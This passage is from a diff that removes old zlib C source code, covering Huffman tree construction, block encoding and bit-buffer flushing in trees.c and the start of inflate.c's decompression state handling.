int n; /* iterates over tree elements */ - int bits; /* bit counter */ - int length; /* length value */ - int code; /* code value */ - int dist; /* distance index */ - ush bl_count[MAX_BITS+1]; - /* number of codes at each bit length for an optimal tree */ - - if (static_init_done) return; - - /* Initialize the mapping length (0..255) -> length code (0..28) */ - length = 0; - for (code = 0; code < LENGTH_CODES-1; code++) { - base_length[code] = length; - for (n = 0; n < (1< dist code (0..29) */ - dist = 0; - for (code = 0 ; code < 16; code++) { - base_dist[code] = dist; - for (n = 0; n < (1<>= 7; /* from now on, all distances are divided by 128 */ - for ( ; code < D_CODES; code++) { - base_dist[code] = dist << 7; - for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) { - dist_code[256 + dist++] = (uch)code; - } - } - Assert (dist == 256, "tr_static_init: 256+dist != 512"); - - /* Construct the codes of the static literal tree */ - for (bits = 0; bits <= MAX_BITS; bits++) bl_count[bits] = 0; - n = 0; - while (n <= 143) static_ltree[n++].Len = 8, bl_count[8]++; - while (n <= 255) static_ltree[n++].Len = 9, bl_count[9]++; - while (n <= 279) static_ltree[n++].Len = 7, bl_count[7]++; - while (n <= 287) static_ltree[n++].Len = 8, bl_count[8]++; - /* Codes 286 and 287 do not exist, but we must include them in the - * tree construction to get a canonical Huffman tree (longest code - * all ones) - */ - gen_codes((ct_data *)static_ltree, L_CODES+1, bl_count); - - /* The static distance tree is trivial: */ - for (n = 0; n < D_CODES; n++) { - static_dtree[n].Len = 5; - static_dtree[n].Code = bi_reverse((unsigned)n, 5); - } - static_init_done = 1; -} - -/* =========================================================================== - * Initialize the tree data structures for a new zlib stream. - */ -void _tr_init(deflate_state *s) -{ - tr_static_init(); - - s->compressed_len = 0L; - - s->l_desc.dyn_tree = s->dyn_ltree; - s->l_desc.stat_desc = &static_l_desc; - - s->d_desc.dyn_tree = s->dyn_dtree; - s->d_desc.stat_desc = &static_d_desc; - - s->bl_desc.dyn_tree = s->bl_tree; - s->bl_desc.stat_desc = &static_bl_desc; - - s->bi_buf = 0; - s->bi_valid = 0; - s->last_eob_len = 8; /* enough lookahead for inflate */ -#ifdef DEBUG_ZLIB - s->bits_sent = 0L; -#endif - - /* Initialize the first block of the first file: */ - init_block(s); -} - -/* =========================================================================== - * Initialize a new block. - */ -local void init_block(s) - deflate_state *s; -{ - int n; /* iterates over tree elements */ - - /* Initialize the trees. */ - for (n = 0; n < L_CODES; n++) s->dyn_ltree[n].Freq = 0; - for (n = 0; n < D_CODES; n++) s->dyn_dtree[n].Freq = 0; - for (n = 0; n < BL_CODES; n++) s->bl_tree[n].Freq = 0; - - s->dyn_ltree[END_BLOCK].Freq = 1; - s->opt_len = s->static_len = 0L; - s->last_lit = s->matches = 0; -} - -#define SMALLEST 1 -/* Index within the heap array of least frequent node in the Huffman tree */ - - -/* =========================================================================== - * Remove the smallest element from the heap and recreate the heap with - * one less element. Updates heap and heap_len. - */ -#define pqremove(s, tree, top) \ -{\ - top = s->heap[SMALLEST]; \ - s->heap[SMALLEST] = s->heap[s->heap_len--]; \ - pqdownheap(s, tree, SMALLEST); \ -} - -/* =========================================================================== - * Compares to subtrees, using the tree depth as tie breaker when - * the subtrees have equal frequency. This minimizes the worst case length. - */ -#define smaller(tree, n, m, depth) \ - (tree[n].Freq < tree[m].Freq || \ - (tree[n].Freq == tree[m].Freq && depth[n] <= depth[m])) - -/* =========================================================================== - * Restore the heap property by moving down the tree starting at node k, - * exchanging a node with the smallest of its two sons if necessary, stopping - * when the heap property is re-established (each father smaller than its - * two sons). - */ -local void pqdownheap(s, tree, k) - deflate_state *s; - ct_data *tree; /* the tree to restore */ - int k; /* node to move down */ -{ - int v = s->heap[k]; - int j = k << 1; /* left son of k */ - while (j <= s->heap_len) { - /* Set j to the smallest of the two sons: */ - if (j < s->heap_len && - smaller(tree, s->heap[j+1], s->heap[j], s->depth)) { - j++; - } - /* Exit if v is smaller than both sons */ - if (smaller(tree, v, s->heap[j], s->depth)) break; - - /* Exchange v with the smallest son */ - s->heap[k] = s->heap[j]; k = j; - - /* And continue down the tree, setting j to the left son of k */ - j <<= 1; - } - s->heap[k] = v; -} - -/* =========================================================================== - * Compute the optimal bit lengths for a tree and update the total bit length - * for the current block. - * IN assertion: the fields freq and dad are set, heap[heap_max] and - * above are the tree nodes sorted by increasing frequency. - * OUT assertions: the field len is set to the optimal bit length, the - * array bl_count contains the frequencies for each bit length. - * The length opt_len is updated; static_len is also updated if stree is - * not null. - */ -local void gen_bitlen(s, desc) - deflate_state *s; - tree_desc *desc; /* the tree descriptor */ -{ - ct_data *tree = desc->dyn_tree; - int max_code = desc->max_code; - ct_data *stree = desc->stat_desc->static_tree; - intf *extra = desc->stat_desc->extra_bits; - int base = desc->stat_desc->extra_base; - int max_length = desc->stat_desc->max_length; - int h; /* heap index */ - int n, m; /* iterate over the tree elements */ - int bits; /* bit length */ - int xbits; /* extra bits */ - ush f; /* frequency */ - int overflow = 0; /* number of elements with bit length too large */ - - for (bits = 0; bits <= MAX_BITS; bits++) s->bl_count[bits] = 0; - - /* In a first pass, compute the optimal bit lengths (which may - * overflow in the case of the bit length tree). - */ - tree[s->heap[s->heap_max]].Len = 0; /* root of the heap */ - - for (h = s->heap_max+1; h < HEAP_SIZE; h++) { - n = s->heap[h]; - bits = tree[tree[n].Dad].Len + 1; - if (bits > max_length) bits = max_length, overflow++; - tree[n].Len = (ush)bits; - /* We overwrite tree[n].Dad which is no longer needed */ - - if (n > max_code) continue; /* not a leaf node */ - - s->bl_count[bits]++; - xbits = 0; - if (n >= base) xbits = extra[n-base]; - f = tree[n].Freq; - s->opt_len += (ulg)f * (bits + xbits); - if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits); - } - if (overflow == 0) return; - - Trace((stderr,"\nbit length overflow\n")); - /* This happens for example on obj2 and pic of the Calgary corpus */ - - /* Find the first bit length which could increase: */ - do { - bits = max_length-1; - while (s->bl_count[bits] == 0) bits--; - s->bl_count[bits]--; /* move one leaf down the tree */ - s->bl_count[bits+1] += 2; /* move one overflow item as its brother */ - s->bl_count[max_length]--; - /* The brother of the overflow item also moves one step up, - * but this does not affect bl_count[max_length] - */ - overflow -= 2; - } while (overflow > 0); - - /* Now recompute all bit lengths, scanning in increasing frequency. - * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all - * lengths instead of fixing only the wrong ones. This idea is taken - * from 'ar' written by Haruhiko Okumura.) - */ - for (bits = max_length; bits != 0; bits--) { - n = s->bl_count[bits]; - while (n != 0) { - m = s->heap[--h]; - if (m > max_code) continue; - if (tree[m].Len != (unsigned) bits) { - Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits)); - s->opt_len += ((long)bits - (long)tree[m].Len) - *(long)tree[m].Freq; - tree[m].Len = (ush)bits; - } - n--; - } - } -} - -/* =========================================================================== - * Generate the codes for a given tree and bit counts (which need not be - * optimal). - * IN assertion: the array bl_count contains the bit length statistics for - * the given tree and the field len is set for all tree elements. - * OUT assertion: the field code is set for all tree elements of non - * zero code length. - */ -local void gen_codes (tree, max_code, bl_count) - ct_data *tree; /* the tree to decorate */ - int max_code; /* largest code with non zero frequency */ - ushf *bl_count; /* number of codes at each bit length */ -{ - ush next_code[MAX_BITS+1]; /* next code value for each bit length */ - ush code = 0; /* running code value */ - int bits; /* bit index */ - int n; /* code index */ - - /* The distribution counts are first used to generate the code values - * without bit reversal. - */ - for (bits = 1; bits <= MAX_BITS; bits++) { - next_code[bits] = code = (code + bl_count[bits-1]) << 1; - } - /* Check that the bit counts in bl_count are consistent. The last code - * must be all ones. - */ - Assert (code + bl_count[MAX_BITS]-1 == (1<dyn_tree; - ct_data *stree = desc->stat_desc->static_tree; - int elems = desc->stat_desc->elems; - int n, m; /* iterate over heap elements */ - int max_code = -1; /* largest code with non zero frequency */ - int node; /* new node being created */ - - /* Construct the initial heap, with least frequent element in - * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1]. - * heap[0] is not used. - */ - s->heap_len = 0, s->heap_max = HEAP_SIZE; - - for (n = 0; n < elems; n++) { - if (tree[n].Freq != 0) { - s->heap[++(s->heap_len)] = max_code = n; - s->depth[n] = 0; - } else { - tree[n].Len = 0; - } - } - - /* The pkzip format requires that at least one distance code exists, - * and that at least one bit should be sent even if there is only one - * possible code. So to avoid special checks later on we force at least - * two codes of non zero frequency. - */ - while (s->heap_len < 2) { - node = s->heap[++(s->heap_len)] = (max_code < 2 ? ++max_code : 0); - tree[node].Freq = 1; - s->depth[node] = 0; - s->opt_len--; if (stree) s->static_len -= stree[node].Len; - /* node is 0 or 1 so it does not have extra bits */ - } - desc->max_code = max_code; - - /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree, - * establish sub-heaps of increasing lengths: - */ - for (n = s->heap_len/2; n >= 1; n--) pqdownheap(s, tree, n); - - /* Construct the Huffman tree by repeatedly combining the least two - * frequent nodes. - */ - node = elems; /* next internal node of the tree */ - do { - pqremove(s, tree, n); /* n = node of least frequency */ - m = s->heap[SMALLEST]; /* m = node of next least frequency */ - - s->heap[--(s->heap_max)] = n; /* keep the nodes sorted by frequency */ - s->heap[--(s->heap_max)] = m; - - /* Create a new node father of n and m */ - tree[node].Freq = tree[n].Freq + tree[m].Freq; - s->depth[node] = (uch) (MAX(s->depth[n], s->depth[m]) + 1); - tree[n].Dad = tree[m].Dad = (ush)node; -#ifdef DUMP_BL_TREE - if (tree == s->bl_tree) { - fprintf(stderr,"\nnode %d(%d), sons %d(%d) %d(%d)", - node, tree[node].Freq, n, tree[n].Freq, m, tree[m].Freq); - } -#endif - /* and insert the new node in the heap */ - s->heap[SMALLEST] = node++; - pqdownheap(s, tree, SMALLEST); - - } while (s->heap_len >= 2); - - s->heap[--(s->heap_max)] = s->heap[SMALLEST]; - - /* At this point, the fields freq and dad are set. We can now - * generate the bit lengths. - */ - gen_bitlen(s, (tree_desc *)desc); - - /* The field len is now set, we can generate the bit codes */ - gen_codes ((ct_data *)tree, max_code, s->bl_count); -} - -/* =========================================================================== - * Scan a literal or distance tree to determine the frequencies of the codes - * in the bit length tree. - */ -local void scan_tree (s, tree, max_code) - deflate_state *s; - ct_data *tree; /* the tree to be scanned */ - int max_code; /* and its largest code of non zero frequency */ -{ - int n; /* iterates over all tree elements */ - int prevlen = -1; /* last emitted length */ - int curlen; /* length of current code */ - int nextlen = tree[0].Len; /* length of next code */ - int count = 0; /* repeat count of the current code */ - int max_count = 7; /* max repeat count */ - int min_count = 4; /* min repeat count */ - - if (nextlen == 0) max_count = 138, min_count = 3; - tree[max_code+1].Len = (ush)0xffff; /* guard */ - - for (n = 0; n <= max_code; n++) { - curlen = nextlen; nextlen = tree[n+1].Len; - if (++count < max_count && curlen == nextlen) { - continue; - } else if (count < min_count) { - s->bl_tree[curlen].Freq += count; - } else if (curlen != 0) { - if (curlen != prevlen) s->bl_tree[curlen].Freq++; - s->bl_tree[REP_3_6].Freq++; - } else if (count <= 10) { - s->bl_tree[REPZ_3_10].Freq++; - } else { - s->bl_tree[REPZ_11_138].Freq++; - } - count = 0; prevlen = curlen; - if (nextlen == 0) { - max_count = 138, min_count = 3; - } else if (curlen == nextlen) { - max_count = 6, min_count = 3; - } else { - max_count = 7, min_count = 4; - } - } -} - -/* =========================================================================== - * Send a literal or distance tree in compressed form, using the codes in - * bl_tree. - */ -local void send_tree (s, tree, max_code) - deflate_state *s; - ct_data *tree; /* the tree to be scanned */ - int max_code; /* and its largest code of non zero frequency */ -{ - int n; /* iterates over all tree elements */ - int prevlen = -1; /* last emitted length */ - int curlen; /* length of current code */ - int nextlen = tree[0].Len; /* length of next code */ - int count = 0; /* repeat count of the current code */ - int max_count = 7; /* max repeat count */ - int min_count = 4; /* min repeat count */ - - /* tree[max_code+1].Len = -1; */ /* guard already set */ - if (nextlen == 0) max_count = 138, min_count = 3; - - for (n = 0; n <= max_code; n++) { - curlen = nextlen; nextlen = tree[n+1].Len; - if (++count < max_count && curlen == nextlen) { - continue; - } else if (count < min_count) { - do { send_code(s, curlen, s->bl_tree); } while (--count != 0); - - } else if (curlen != 0) { - if (curlen != prevlen) { - send_code(s, curlen, s->bl_tree); count--; - } - Assert(count >= 3 && count <= 6, " 3_6?"); - send_code(s, REP_3_6, s->bl_tree); send_bits(s, count-3, 2); - - } else if (count <= 10) { - send_code(s, REPZ_3_10, s->bl_tree); send_bits(s, count-3, 3); - - } else { - send_code(s, REPZ_11_138, s->bl_tree); send_bits(s, count-11, 7); - } - count = 0; prevlen = curlen; - if (nextlen == 0) { - max_count = 138, min_count = 3; - } else if (curlen == nextlen) { - max_count = 6, min_count = 3; - } else { - max_count = 7, min_count = 4; - } - } -} - -/* =========================================================================== - * Construct the Huffman tree for the bit lengths and return the index in - * bl_order of the last bit length code to send. - */ -local int build_bl_tree(s) - deflate_state *s; -{ - int max_blindex; /* index of last bit length code of non zero freq */ - - /* Determine the bit length frequencies for literal and distance trees */ - scan_tree(s, (ct_data *)s->dyn_ltree, s->l_desc.max_code); - scan_tree(s, (ct_data *)s->dyn_dtree, s->d_desc.max_code); - - /* Build the bit length tree: */ - build_tree(s, (tree_desc *)(&(s->bl_desc))); - /* opt_len now includes the length of the tree representations, except - * the lengths of the bit lengths codes and the 5+5+4 bits for the counts. - */ - - /* Determine the number of bit length codes to send. The pkzip format - * requires that at least 4 bit length codes be sent. (appnote.txt says - * 3 but the actual value used is 4.) - */ - for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) { - if (s->bl_tree[bl_order[max_blindex]].Len != 0) break; - } - /* Update opt_len to include the bit length tree and counts */ - s->opt_len += 3*(max_blindex+1) + 5+5+4; - Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld", - s->opt_len, s->static_len)); - - return max_blindex; -} - -/* =========================================================================== - * Send the header for a block using dynamic Huffman trees: the counts, the - * lengths of the bit length codes, the literal tree and the distance tree. - * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4. - */ -local void send_all_trees(s, lcodes, dcodes, blcodes) - deflate_state *s; - int lcodes, dcodes, blcodes; /* number of codes for each tree */ -{ - int rank; /* index in bl_order */ - - Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes"); - Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES, - "too many codes"); - Tracev((stderr, "\nbl counts: ")); - send_bits(s, lcodes-257, 5); /* not +255 as stated in appnote.txt */ - send_bits(s, dcodes-1, 5); - send_bits(s, blcodes-4, 4); /* not -3 as stated in appnote.txt */ - for (rank = 0; rank < blcodes; rank++) { - Tracev((stderr, "\nbl code %2d ", bl_order[rank])); - send_bits(s, s->bl_tree[bl_order[rank]].Len, 3); - } - Tracev((stderr, "\nbl tree: sent %ld", s->bits_sent)); - - send_tree(s, (ct_data *)s->dyn_ltree, lcodes-1); /* literal tree */ - Tracev((stderr, "\nlit tree: sent %ld", s->bits_sent)); - - send_tree(s, (ct_data *)s->dyn_dtree, dcodes-1); /* distance tree */ - Tracev((stderr, "\ndist tree: sent %ld", s->bits_sent)); -} - -/* =========================================================================== - * Send a stored block - */ -void _tr_stored_block(s, buf, stored_len, eof) - deflate_state *s; - charf *buf; /* input block */ - ulg stored_len; /* length of input block */ - int eof; /* true if this is the last block for a file */ -{ - send_bits(s, (STORED_BLOCK<<1)+eof, 3); /* send block type */ - s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L; - s->compressed_len += (stored_len + 4) << 3; - - copy_block(s, buf, (unsigned)stored_len, 1); /* with header */ -} - -/* Send just the `stored block' type code without any length bytes or data. - */ -void _tr_stored_type_only(s) - deflate_state *s; -{ - send_bits(s, (STORED_BLOCK << 1), 3); - bi_windup(s); - s->compressed_len = (s->compressed_len + 3) & ~7L; -} - - -/* =========================================================================== - * Send one empty static block to give enough lookahead for inflate. - * This takes 10 bits, of which 7 may remain in the bit buffer. - * The current inflate code requires 9 bits of lookahead. If the - * last two codes for the previous block (real code plus EOB) were coded - * on 5 bits or less, inflate may have only 5+3 bits of lookahead to decode - * the last real code. In this case we send two empty static blocks instead - * of one. (There are no problems if the previous block is stored or fixed.) - * To simplify the code, we assume the worst case of last real code encoded - * on one bit only. - */ -void _tr_align(s) - deflate_state *s; -{ - send_bits(s, STATIC_TREES<<1, 3); - send_code(s, END_BLOCK, static_ltree); - s->compressed_len += 10L; /* 3 for block type, 7 for EOB */ - bi_flush(s); - /* Of the 10 bits for the empty block, we have already sent - * (10 - bi_valid) bits. The lookahead for the last real code (before - * the EOB of the previous block) was thus at least one plus the length - * of the EOB plus what we have just sent of the empty static block. - */ - if (1 + s->last_eob_len + 10 - s->bi_valid < 9) { - send_bits(s, STATIC_TREES<<1, 3); - send_code(s, END_BLOCK, static_ltree); - s->compressed_len += 10L; - bi_flush(s); - } - s->last_eob_len = 7; -} - -/* =========================================================================== - * Determine the best encoding for the current block: dynamic trees, static - * trees or store, and output the encoded block to the zip file. This function - * returns the total compressed length for the file so far. - */ -ulg _tr_flush_block(s, buf, stored_len, eof) - deflate_state *s; - charf *buf; /* input block, or NULL if too old */ - ulg stored_len; /* length of input block */ - int eof; /* true if this is the last block for a file */ -{ - ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */ - int max_blindex = 0; /* index of last bit length code of non zero freq */ - - /* Build the Huffman trees unless a stored block is forced */ - if (s->level > 0) { - - /* Check if the file is ascii or binary */ - if (s->data_type == Z_UNKNOWN) set_data_type(s); - - /* Construct the literal and distance trees */ - build_tree(s, (tree_desc *)(&(s->l_desc))); - Tracev((stderr, "\nlit data: dyn %ld, stat %ld", s->opt_len, - s->static_len)); - - build_tree(s, (tree_desc *)(&(s->d_desc))); - Tracev((stderr, "\ndist data: dyn %ld, stat %ld", s->opt_len, - s->static_len)); - /* At this point, opt_len and static_len are the total bit lengths of - * the compressed block data, excluding the tree representations. - */ - - /* Build the bit length tree for the above two trees, and get the index - * in bl_order of the last bit length code to send. - */ - max_blindex = build_bl_tree(s); - - /* Determine the best encoding. Compute first the block length in bytes*/ - opt_lenb = (s->opt_len+3+7)>>3; - static_lenb = (s->static_len+3+7)>>3; - - Tracev((stderr, "\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u ", - opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len, - s->last_lit)); - - if (static_lenb <= opt_lenb) opt_lenb = static_lenb; - - } else { - Assert(buf != (char*)0, "lost buf"); - opt_lenb = static_lenb = stored_len + 5; /* force a stored block */ - } - - /* If compression failed and this is the first and last block, - * and if the .zip file can be seeked (to rewrite the local header), - * the whole file is transformed into a stored file: - */ -#ifdef STORED_FILE_OK -# ifdef FORCE_STORED_FILE - if (eof && s->compressed_len == 0L) { /* force stored file */ -# else - if (stored_len <= opt_lenb && eof && s->compressed_len==0L && seekable()) { -# endif - /* Since LIT_BUFSIZE <= 2*WSIZE, the input data must be there: */ - if (buf == (charf*)0) error ("block vanished"); - - copy_block(s, buf, (unsigned)stored_len, 0); /* without header */ - s->compressed_len = stored_len << 3; - s->method = STORED; - } else -#endif /* STORED_FILE_OK */ - -#ifdef FORCE_STORED - if (buf != (char*)0) { /* force stored block */ -#else - if (stored_len+4 <= opt_lenb && buf != (char*)0) { - /* 4: two words for the lengths */ -#endif - /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE. - * Otherwise we can't have processed more than WSIZE input bytes since - * the last block flush, because compression would have been - * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to - * transform a block into a stored block. - */ - _tr_stored_block(s, buf, stored_len, eof); - -#ifdef FORCE_STATIC - } else if (static_lenb >= 0) { /* force static trees */ -#else - } else if (static_lenb == opt_lenb) { -#endif - send_bits(s, (STATIC_TREES<<1)+eof, 3); - compress_block(s, (ct_data *)static_ltree, (ct_data *)static_dtree); - s->compressed_len += 3 + s->static_len; - } else { - send_bits(s, (DYN_TREES<<1)+eof, 3); - send_all_trees(s, s->l_desc.max_code+1, s->d_desc.max_code+1, - max_blindex+1); - compress_block(s, (ct_data *)s->dyn_ltree, (ct_data *)s->dyn_dtree); - s->compressed_len += 3 + s->opt_len; - } - Assert (s->compressed_len == s->bits_sent, "bad compressed size"); - init_block(s); - - if (eof) { - bi_windup(s); - s->compressed_len += 7; /* align on byte boundary */ - } - Tracev((stderr,"\ncomprlen %lu(%lu) ", s->compressed_len>>3, - s->compressed_len-7*eof)); - - return s->compressed_len >> 3; -} - -/* =========================================================================== - * Save the match info and tally the frequency counts. Return true if - * the current block must be flushed. - */ -int _tr_tally (s, dist, lc) - deflate_state *s; - unsigned dist; /* distance of matched string */ - unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */ -{ - s->d_buf[s->last_lit] = (ush)dist; - s->l_buf[s->last_lit++] = (uch)lc; - if (dist == 0) { - /* lc is the unmatched char */ - s->dyn_ltree[lc].Freq++; - } else { - s->matches++; - /* Here, lc is the match length - MIN_MATCH */ - dist--; /* dist = match distance - 1 */ - Assert((ush)dist < (ush)MAX_DIST(s) && - (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) && - (ush)d_code(dist) < (ush)D_CODES, "_tr_tally: bad match"); - - s->dyn_ltree[length_code[lc]+LITERALS+1].Freq++; - s->dyn_dtree[d_code(dist)].Freq++; - } - - /* Try to guess if it is profitable to stop the current block here */ - if (s->level > 2 && (s->last_lit & 0xfff) == 0) { - /* Compute an upper bound for the compressed length */ - ulg out_length = (ulg)s->last_lit*8L; - ulg in_length = (ulg)((long)s->strstart - s->block_start); - int dcode; - for (dcode = 0; dcode < D_CODES; dcode++) { - out_length += (ulg)s->dyn_dtree[dcode].Freq * - (5L+extra_dbits[dcode]); - } - out_length >>= 3; - Tracev((stderr,"\nlast_lit %u, in %ld, out ~%ld(%ld%%) ", - s->last_lit, in_length, out_length, - 100L - out_length*100L/in_length)); - if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1; - } - return (s->last_lit == s->lit_bufsize-1); - /* We avoid equality with lit_bufsize because of wraparound at 64K - * on 16 bit machines and because stored blocks are restricted to - * 64K-1 bytes. - */ -} - -/* =========================================================================== - * Send the block data compressed using the given Huffman trees - */ -local void compress_block(s, ltree, dtree) - deflate_state *s; - ct_data *ltree; /* literal tree */ - ct_data *dtree; /* distance tree */ -{ - unsigned dist; /* distance of matched string */ - int lc; /* match length or unmatched char (if dist == 0) */ - unsigned lx = 0; /* running index in l_buf */ - unsigned code; /* the code to send */ - int extra; /* number of extra bits to send */ - - if (s->last_lit != 0) do { - dist = s->d_buf[lx]; - lc = s->l_buf[lx++]; - if (dist == 0) { - send_code(s, lc, ltree); /* send a literal byte */ - Tracecv(isgraph(lc), (stderr," '%c' ", lc)); - } else { - /* Here, lc is the match length - MIN_MATCH */ - code = length_code[lc]; - send_code(s, code+LITERALS+1, ltree); /* send the length code */ - extra = extra_lbits[code]; - if (extra != 0) { - lc -= base_length[code]; - send_bits(s, lc, extra); /* send the extra length bits */ - } - dist--; /* dist is now the match distance - 1 */ - code = d_code(dist); - Assert (code < D_CODES, "bad d_code"); - - send_code(s, code, dtree); /* send the distance code */ - extra = extra_dbits[code]; - if (extra != 0) { - dist -= base_dist[code]; - send_bits(s, dist, extra); /* send the extra distance bits */ - } - } /* literal or match pair ? */ - - /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */ - Assert(s->pending < s->lit_bufsize + 2*lx, "pendingBuf overflow"); - - } while (lx < s->last_lit); - - send_code(s, END_BLOCK, ltree); - s->last_eob_len = ltree[END_BLOCK].Len; -} - -/* =========================================================================== - * Set the data type to ASCII or BINARY, using a crude approximation: - * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise. - * IN assertion: the fields freq of dyn_ltree are set and the total of all - * frequencies does not exceed 64K (to fit in an int on 16 bit machines). - */ -local void set_data_type(s) - deflate_state *s; -{ - int n = 0; - unsigned ascii_freq = 0; - unsigned bin_freq = 0; - while (n < 7) bin_freq += s->dyn_ltree[n++].Freq; - while (n < 128) ascii_freq += s->dyn_ltree[n++].Freq; - while (n < LITERALS) bin_freq += s->dyn_ltree[n++].Freq; - s->data_type = (Byte)(bin_freq > (ascii_freq >> 2) ? Z_BINARY : Z_ASCII); -} - -/* =========================================================================== - * Reverse the first len bits of a code, using straightforward code (a faster - * method would use a table) - * IN assertion: 1 <= len <= 15 - */ -local unsigned bi_reverse(code, len) - unsigned code; /* the value to invert */ - int len; /* its bit length */ -{ - register unsigned res = 0; - do { - res |= code & 1; - code >>= 1, res <<= 1; - } while (--len > 0); - return res >> 1; -} - -/* =========================================================================== - * Flush the bit buffer, keeping at most 7 bits in it. - */ -local void bi_flush(s) - deflate_state *s; -{ - if (s->bi_valid == 16) { - put_short(s, s->bi_buf); - s->bi_buf = 0; - s->bi_valid = 0; - } else if (s->bi_valid >= 8) { - put_byte(s, (Byte)s->bi_buf); - s->bi_buf >>= 8; - s->bi_valid -= 8; - } -} - -/* =========================================================================== - * Flush the bit buffer and align the output on a byte boundary - */ -local void bi_windup(s) - deflate_state *s; -{ - if (s->bi_valid > 8) { - put_short(s, s->bi_buf); - } else if (s->bi_valid > 0) { - put_byte(s, (Byte)s->bi_buf); - } - s->bi_buf = 0; - s->bi_valid = 0; -#ifdef DEBUG_ZLIB - s->bits_sent = (s->bits_sent+7) & ~7; -#endif -} - -/* =========================================================================== - * Copy a stored block, storing first the length and its - * one's complement if requested. - */ -local void copy_block(s, buf, len, header) - deflate_state *s; - charf *buf; /* the input data */ - unsigned len; /* its length */ - int header; /* true if block header must be written */ -{ - bi_windup(s); /* align on byte boundary */ - s->last_eob_len = 8; /* enough lookahead for inflate */ - - if (header) { - put_short(s, (ush)len); - put_short(s, (ush)~len); -#ifdef DEBUG_ZLIB - s->bits_sent += 2*16; -#endif - } -#ifdef DEBUG_ZLIB - s->bits_sent += (ulg)len<<3; -#endif - /* bundle up the put_byte(s, *buf++) calls */ - zmemcpy(&s->pending_buf[s->pending], buf, len); - s->pending += len; -} -/* --- trees.c */ - -/* +++ inflate.c */ -/* inflate.c -- zlib interface to inflate modules - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ - -/* +++ infblock.h */ -/* infblock.h -- header to use infblock.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -struct inflate_blocks_state; -typedef struct inflate_blocks_state FAR inflate_blocks_statef; - -extern inflate_blocks_statef * inflate_blocks_new OF(( - z_streamp z, - check_func c, /* check function */ - uInt w)); /* window size */ - -extern int inflate_blocks OF(( - inflate_blocks_statef *, - z_streamp , - int)); /* initial return code */ - -extern void inflate_blocks_reset OF(( - inflate_blocks_statef *, - z_streamp , - uLongf *)); /* check value on output */ - -extern int inflate_blocks_free OF(( - inflate_blocks_statef *, - z_streamp , - uLongf *)); /* check value on output */ - -extern void inflate_set_dictionary OF(( - inflate_blocks_statef *s, - const Bytef *d, /* dictionary */ - uInt n)); /* dictionary length */ - -extern int inflate_addhistory OF(( - inflate_blocks_statef *, - z_streamp)); - -extern int inflate_packet_flush OF(( - inflate_blocks_statef *)); -/* --- infblock.h */ - -#ifndef NO_DUMMY_DECL -struct inflate_blocks_state {int dummy;}; /* for buggy compilers */ -#endif - -/* inflate private state */ -struct internal_state { - - /* mode */ - enum { - METHOD, /* waiting for method byte */ - FLAG, /* waiting for flag byte */ - DICT4, /* four dictionary check bytes to go */ - DICT3, /* three dictionary check bytes to go */ - DICT2, /* two dictionary check bytes to go */ - DICT1, /* one dictionary check byte to go */ - DICT0, /* waiting for inflateSetDictionary */ - BLOCKS, /* decompressing blocks */ - CHECK4, /* four check bytes to go */ - CHECK3, /* three check bytes to go */ - CHECK2, /* two check bytes to go */ - CHECK1, /* one check byte to go */ - DONE, /* finished check, done */ - BAD} /* got an error--stay here */ - mode; /* current inflate mode */ - - /* mode dependent information */ - union { - uInt method; /* if FLAGS, method byte */ - struct { - uLong was; /* computed check value */ - uLong need; /* stream check value */ - } check; /* if CHECK, check values to compare */ - uInt marker; /* if BAD, inflateSync's marker bytes count */ - } sub; /* submode */ - - /* mode independent information */ - int nowrap; /* flag for no wrapper */ - uInt wbits; /* log2(window size) (8..15, defaults to 15) */ - inflate_blocks_statef - *blocks; /* current inflate_blocks state */ - -}; - - -int inflateReset(z_streamp z) -{ - uLong c; - - if (z == Z_NULL || z->state == Z_NULL) - return Z_STREAM_ERROR; - z->total_in = z->total_out = 0; - z->msg = Z_NULL; - z->state->mode = z->state->nowrap ? BLOCKS : METHOD; - inflate_blocks_reset(z->state->blocks, z, &c); - Trace((stderr, "inflate: reset\n")); - return Z_OK; -} - - -int inflateEnd(z_streamp z) -{ - uLong c; - - if (z == Z_NULL || z->state == Z_NULL || z->zfree == Z_NULL) - return Z_STREAM_ERROR; - if (z->state->blocks != Z_NULL) - inflate_blocks_free(z->state->blocks, z, &c); - ZFREE(z, z->state); - z->state = Z_NULL; - Trace((stderr, "inflate: end\n")); - return Z_OK; -} - - -int inflateInit2_(z_streamp z, int w, const char *version, int stream_size) -{ - if (version == Z_NULL || version[0] != ZLIB_VERSION[0] || - stream_size != sizeof(z_stream)) - return Z_VERSION_ERROR; - - /* initialize state */ - if (z == Z_NULL) - return Z_STREAM_ERROR; - z->msg = Z_NULL; -#ifndef NO_ZCFUNCS - if (z->zalloc == Z_NULL) - { - z->zalloc = zcalloc; - z->opaque = (voidpf)0; - } - if (z->zfree == Z_NULL) z->zfree = zcfree; -#endif - if ((z->state = (struct internal_state FAR *) - ZALLOC(z,1,sizeof(struct internal_state))) == Z_NULL) - return Z_MEM_ERROR; - z->state->blocks = Z_NULL; - - /* handle undocumented nowrap option (no zlib header or check) */ - 